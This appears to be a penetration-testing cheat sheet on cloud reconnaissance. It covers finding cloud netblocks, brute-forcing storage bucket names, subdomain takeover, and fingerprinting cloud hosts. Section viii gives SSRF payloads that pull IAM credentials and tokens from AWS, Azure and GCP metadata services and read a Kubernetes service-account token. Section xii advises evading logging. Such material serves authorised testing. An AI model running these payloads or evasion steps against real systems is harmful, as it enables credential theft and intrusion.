Cloud Recon

Sections Cloud Recon

Identify cloud assets that belong to a target before authenticating to anything. Builds on Recon (External) but focuses on cloud-specific fingerprints.

DOMAIN=target.com
ORG='Target Inc'

i. Find the cloud netblocks

Cloud providers publish their ASN ranges. Cross-reference with target’s known IPs to identify cloud presence.

AWS ranges:

curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | "\(.ip_prefix) \(.region) \(.service)"'

Azure ranges:

## Microsoft publishes weekly JSON files at:
## https://www.microsoft.com/en-us/download/details.aspx?id=56519
## Search engine query: "Azure IP Ranges and Service Tags Public Cloud"

GCP ranges:

curl -s https://www.gstatic.com/ipranges/cloud.json | jq -r '.prefixes[].ipv4Prefix' | head

Cloudflare:

curl -s https://www.cloudflare.com/ips-v4

Match target IPs against these ranges. Anything that lands in a cloud range is cloud-hosted.

ii. Cloud-specific subdomain patterns

After running normal subdomain enum (see Recon (external) ), grep for cloud patterns:

## After amass/subfinder etc, look for cloud signals
grep -E 'amazonaws\.com|cloudfront\.net|elasticbeanstalk\.com|s3\.|azurewebsites\.net|blob\.core\.windows\.net|cloudapp\.azure\.com|run\.app|appspot\.com|googleapis\.com|storage\.googleapis\.com|herokuapp\.com|cloudflare\.com|fastly\.net|netlify\.app|vercel\.app' all-subs.txt

CNAME chains reveal cloud hosting even when the apex hostname looks normal:

for sub in $(cat alive.txt); do
  echo "=== $sub ==="
  dig +short CNAME "$sub"
done | grep -B1 -E 'cloudfront|amazonaws|azure|gcp|google'

iii. cloud_enum: storage + services across all three providers

cloud_enum -k target -k target-prod -k targetinc -k 'Target Inc'
## Or with a keyword file:
cloud_enum -kf keywords.txt

Checks S3, GCS, Azure Blob, Azure Files, web apps, etc. for each keyword variation.

iv. S3 bucket discovery

Brute force with common keywords + suffixes:

## With s3scanner
s3scanner scan --bucket target
s3scanner scan --buckets-file possible-buckets.txt --output found-buckets.txt
## With grayhatwarfare (free tier for public buckets)
curl "https://buckets.grayhatwarfare.com/api/v2/buckets?keyword=target&access_token=..."

Permutate the name:

## Generate permutations
echo target | xargs -I{} echo -e '{}\n{}-prod\n{}-dev\n{}-staging\n{}-backup\n{}-assets\n{}-static\n{}-data\n{}-logs\n{}-uploads\n{}.backup\n{}.assets\nprod-{}\nstaging-{}\ndev-{}\nbackup-{}' > buckets.txt

Test public read on each:

while read b; do
  status=$(curl -sI "https://$b.s3.amazonaws.com" -o /dev/null -w "%{http_code}")
  case "$status" in
    200) echo "PUBLIC: $b" ;;
    403) echo "EXISTS: $b" ;;
  esac
done < buckets.txt

Bucket exists but listing denied (403) is still useful - you know the name, can try specific object paths or auth-bypass tricks.

v. Azure Blob containers

Same pattern, different URL structure:

## https://<storage>.blob.core.windows.net/<container>?restype=container&comp=list
for s in target target-prod targetinc; do
  for c in data backup files uploads media; do
    url="https://$s.blob.core.windows.net/$c?restype=container&comp=list"
    code=$(curl -sI "$url" -o /dev/null -w "%{http_code}")
    [ "$code" = "200" ] && echo "PUBLIC LIST: $s/$c"
  done
done

vi. GCS buckets

## Public GCS listing: https://storage.googleapis.com/<bucket>
for b in $(cat buckets.txt); do
  status=$(curl -sI "https://storage.googleapis.com/$b" -o /dev/null -w "%{http_code}")
  case "$status" in
    200) echo "PUBLIC: $b" ;;
    403) echo "EXISTS-PRIVATE: $b" ;;
  esac
done
## With gcloud (auth makes some private buckets listable too)
gcloud storage ls gs://target-bucket/

vii. Subdomain takeover (dangling cloud resources)

A subdomain CNAME points to a cloud service the target no longer owns. Anyone can claim that service name and serve content from victim.target.com.

Common patterns:

  • CNAME to xxx.s3.amazonaws.com where the bucket doesn’t exist
  • CNAME to xxx.azurewebsites.net that returns 404
  • CNAME to xxx.cloudfront.net with no associated distribution

Scan with subjack:

subjack -w alive.txt -t 100 -timeout 30 -ssl -c fingerprints.json -v
## Or nuclei takeover templates:
nuclei -l alive.txt -t http/takeovers/

Each “vulnerable” hit means you can register that cloud resource and serve content as the target.

viii. Cloud metadata endpoints

When you have any SSRF or LFI on a cloud-hosted host, hit the metadata service. Each provider has a distinct address and required headers.

AWS IMDSv1 (legacy, still on many older instances):

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

AWS IMDSv2 (required since 2023 on new launches):

## Get token first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

Azure IMDS (Metadata header required):

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

GCP Metadata (Metadata-Flavor header required):

curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/"
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

Kubernetes (in-pod):

curl https://kubernetes.default.svc/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -k

ix. Fingerprint server by response

Cloud services leak provider info in headers and behavior:

curl -sI "https://target.com" | grep -iE 'server|x-amz|x-azure|x-goog|x-cache|via'
## Common signals:
## Server: AmazonS3, AWSALB, CloudFront, awselb
## X-Azure-Ref:
## X-Goog-Generation:
## Via: 1.1 ... cloudfront

x. Cert transparency for cloud-hosted assets

crt.sh shows historical certs. Cloud-issued certs often have specific patterns:

curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | jq -r '.[].name_value' | grep -E 'amazonaws|azurewebsites|appspot|cloudapp'

xi. Output: what to do with cloud assets

Once you know the cloud provider:

For SSRF/LFI targets, the metadata endpoints above are the next move. For exposed bucket finds, try anonymous read then escalate.

xii. OPSEC

Bucket and subdomain probing is high-volume, often noisy. Cloud providers log access at the storage level. Use:

  • Random delays between requests (--jitter 1-3 style)
  • Cloud-egress IPs (the target may whitelist cloud ranges as “legitimate” partners)
  • Distributed scanning sources

On bug bounty / red team engagements, check scope carefully. Cloud assets often have shared infrastructure (CDN, WAF) that’s NOT in scope even when the customer URL is.